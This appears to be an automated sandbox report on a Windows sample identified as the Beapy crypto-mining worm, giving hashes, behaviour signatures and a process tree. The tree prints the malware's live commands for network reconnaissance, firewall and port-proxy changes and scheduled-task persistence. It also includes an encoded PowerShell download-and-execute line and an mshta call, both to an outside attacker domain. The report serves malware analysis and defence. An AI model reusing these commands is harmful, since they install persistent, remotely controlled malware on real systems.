Resubmissions

04-09-2021 07:37

210904-jf39zshben 10

04-09-2021 07:35

210904-jeq82aeab3 10

Analysis

  • max time kernel
    1826s
  • max time network
    1830s
  • platform
    windows7_x64
  • resource
    win7-jp
  • submitted
    04-09-2021 07:35

General

  • Target

    svchost.bin.exe

  • Size

    6.6MB

  • MD5

    2787bb2d1ab223f8ac2692f3a8fd85fc

  • SHA1

    dc34ee4e46ddea333cdc90e4aad7589cb8ee1ea0

  • SHA256

    952e3e059251cd41e3c67006c5aa4b75fe3e6b0f18d96554b2d60d4ccfb78cb4

  • SHA512

    d79bd7599ccb09fa72b939a506d04e28cb958e59c3987ab4d375e76337d5b1e33369d59397338aaeaf938c14ec9d93b20501d5224d151631c69c874d0657e9f3

Score
10/10

Malware Config

Signatures

  • Beapy

    Beapy is a python worm with crypto mining capabilities.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 20 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 35 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.bin.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c wmic ntdomain get domainname
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:792
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic ntdomain get domainname
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:608
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c net localgroup administrators
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1032
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:896
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            5⤵
              PID:1540
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net group "domain admins" /domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1088
          • C:\Windows\SysWOW64\net.exe
            net group "domain admins" /domain
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1488
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 group "domain admins" /domain
              5⤵
                PID:1276
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1624
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ipconfig /all
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1424
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              4⤵
              • Gathers network information
              PID:1612
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:1748
          • C:\Windows\SysWOW64\netstat.exe
            netstat -na
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1132
      • C:\Windows\jcgGYRwv.exe
        C:\Windows\jcgGYRwv.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2760
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c call "c:\windows\temp\tmp.vbs"
          2⤵
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1696
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
            3⤵
            • Modifies data under HKEY_USERS
            PID:1984
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c echo xbfgK >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\VhgNYK.exe&move /y c:\windows\temp\dig.exe c:\windows\ZovlTo.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn VhgNYK /tr "C:\Windows\VhgNYK.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\tdjwjuq" /tr "c:\windows\ZovlTo.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pKJUCCLUP"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\ZovlTo.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\VhgNYK.exe"&schtasks /run /TN escan)
              4⤵
                PID:2356
                • C:\Windows\SysWOW64\netsh.exe
                  netsh firewall add portopening tcp 65533 DNSd
                  5⤵
                  • Modifies data under HKEY_USERS
                  PID:2472
                • C:\Windows\SysWOW64\netsh.exe
                  netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
                  5⤵
                  • Modifies data under HKEY_USERS
                  PID:2428
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:1964
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn VhgNYK /tr "C:\Windows\VhgNYK.exe" /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:1416
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\tdjwjuq" /tr "c:\windows\ZovlTo.exe" /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:848
        • C:\Windows\FNEhStrW.exe
          C:\Windows\FNEhStrW.exe
          1⤵
            PID:2468
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {A76AC7F8-D501-46F8-B2E1-959EC87B16DB} S-1-5-18:NT AUTHORITY\System:Service:
            1⤵
              PID:2712
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=
                2⤵
                • Blocklisted process makes network request
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2856

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/1624-111-0x0000000002840000-0x0000000002842000-memory.dmp

              Filesize

              8KB

            • memory/1624-115-0x000000000284B000-0x000000000286A000-memory.dmp

              Filesize

              124KB

            • memory/1624-109-0x000007FEFC291000-0x000007FEFC293000-memory.dmp

              Filesize

              8KB

            • memory/1624-110-0x000007FEF3290000-0x000007FEF3DED000-memory.dmp

              Filesize

              11.4MB

            • memory/1624-112-0x0000000002842000-0x0000000002844000-memory.dmp

              Filesize

              8KB

            • memory/1624-113-0x0000000002844000-0x0000000002847000-memory.dmp

              Filesize

              12KB

            • memory/1724-57-0x0000000076B51000-0x0000000076B53000-memory.dmp

              Filesize

              8KB

            • memory/1724-70-0x0000000000920000-0x00000000009D5000-memory.dmp

              Filesize

              724KB

            • memory/1724-96-0x0000000000290000-0x00000000002A0000-memory.dmp

              Filesize

              64KB

            • memory/1724-87-0x0000000000140000-0x0000000000150000-memory.dmp

              Filesize

              64KB

            • memory/1724-79-0x0000000000DF0000-0x0000000000E6C000-memory.dmp

              Filesize

              496KB

            • memory/1724-99-0x0000000000320000-0x0000000000335000-memory.dmp

              Filesize

              84KB

            • memory/2856-136-0x000007FEF28F0000-0x000007FEF344D000-memory.dmp

              Filesize

              11.4MB

            • memory/2856-137-0x0000000001060000-0x0000000001062000-memory.dmp

              Filesize

              8KB

            • memory/2856-138-0x0000000001062000-0x0000000001064000-memory.dmp

              Filesize

              8KB

            • memory/2856-139-0x0000000001064000-0x0000000001067000-memory.dmp

              Filesize

              12KB

            • memory/2856-140-0x000000000106B000-0x000000000108A000-memory.dmp

              Filesize

              124KB